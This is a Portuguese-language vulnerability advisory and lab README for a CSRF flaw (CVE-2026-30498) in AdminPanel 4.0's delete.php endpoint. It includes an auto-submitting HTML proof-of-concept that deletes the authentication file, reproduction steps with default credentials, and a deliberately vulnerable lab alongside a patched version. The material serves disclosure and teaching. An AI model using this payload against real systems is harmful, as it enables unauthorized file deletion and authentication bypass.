CVE-2026-30498 – Vulnerabilidade CSRF (AdminPanel 4.0)

---

Visão Geral

ID CVE: CVE-2026-30498 (Reservado pela MITRE)
Descobridor: Mehdi Ben Hamou

Existe uma vulnerabilidade de Cross-Site Request Forgery (CSRF) no endpoint delete.php do AdminPanel 4.0.

Esta vulnerabilidade permite que um atacante acione ações sensíveis (exclusão de arquivos) em nome de um usuário autenticado sem o seu consentimento.

---

Detalhes Técnicos

A vulnerabilidade é causada pela ausência de proteções CSRF:

• Sem validação de token CSRF
• Sem validação de Origin / Referer
• Ação sensível exposta via requisição GET
• Sem verificação da intenção do usuário

O endpoint vulnerável processa requisições diretamente com base na sessão do usuário, sem validar a origem da requisição.

---

Impacto

A exploração bem-sucedida leva a:

• Exclusão de verifyPanel.php
• Bypass de autenticação
• A aplicação entra em modo de configuração
• Possível reinicialização completa do sistema

---

Versão Afetada

• AdminPanel 4.0 e anteriores (projeto arquivado)

---

Cenário de Ataque

Um atacante hospeda uma página web maliciosa que envia uma requisição forjada:

http://localhost:8080/delete.php?file=verifyPanel.php

Quando uma vítima (usuário autenticado) visita esta página, o navegador inclui automaticamente os cookies de sessão, e a requisição é executada.

---

Prova de Conceito (PoC)

Página Maliciosa (Atacante)

<form id="csrfForm" action="http://localhost:8080/delete.php" method="GET">
  <input type="hidden" name="file" value="verifyPanel.php">
</form>
<script>
  document.getElementById("csrfForm").submit();
</script>

Esta requisição é enviada automaticamente com o cookie de sessão da vítima.

---

Passos para Reproduzir

1. Inicie o servidor da vítima:

php -S localhost:8080

2. Acesse a página de login:

http://localhost:8080

3. Faça login com:

admin / admin123

4. Abra a página do atacante:

http://localhost:8081/evil.html

5. Lance o ataque CSRF
6. Retorne ao painel:

/panel/dashboard.php

---

O Que Acontece Internamente

1. A vítima faz login → cookie de sessão criado
2. A página do atacante envia requisição forjada
3. O navegador anexa automaticamente o cookie
4. O servidor executa a exclusão sem verificação
5. O sistema detecta o arquivo de autenticação ausente
6. A aplicação entra em modo de configuração

---

Ambiente de Laboratório (Simulação Pedagógica)

Este repositório inclui um ambiente de laboratório controlado para reproduzir a vulnerabilidade com segurança.

Importante: Este laboratório é uma simulação e não representa o código-fonte original exato do AdminPanel.

Redefinir o Laboratório

Para redefinir o ambiente:

/reset.php

---

Versão Corrigida (Mitigação)

Uma versão segura é implementada em:

delete_fixed.php

Proteções adicionadas:

• ✅ Validação de token CSRF
• ✅ Apenas método POST
• ✅ Validação de Origin / Referer
• ✅ Validação de sessão

---

Por Que a Correção Funciona

• O atacante não consegue acessar o token CSRF (Política de Mesma Origem)
• Requisições forjadas não possuem token válido → rejeitadas
• Requisições de origens cruzadas bloqueadas via verificação de Origin

---

Estrutura do Projeto

victim/
├── index.php
├── delete.php
├── delete_fixed.php
├── reset.php
└── panel/
    └── dashboard.php

attacker/
└── evil.html

---

Aviso Legal

Este projeto destina-se apenas a fins educacionais e de pesquisa.
Não utilize esta vulnerabilidade em sistemas sem autorização adequada.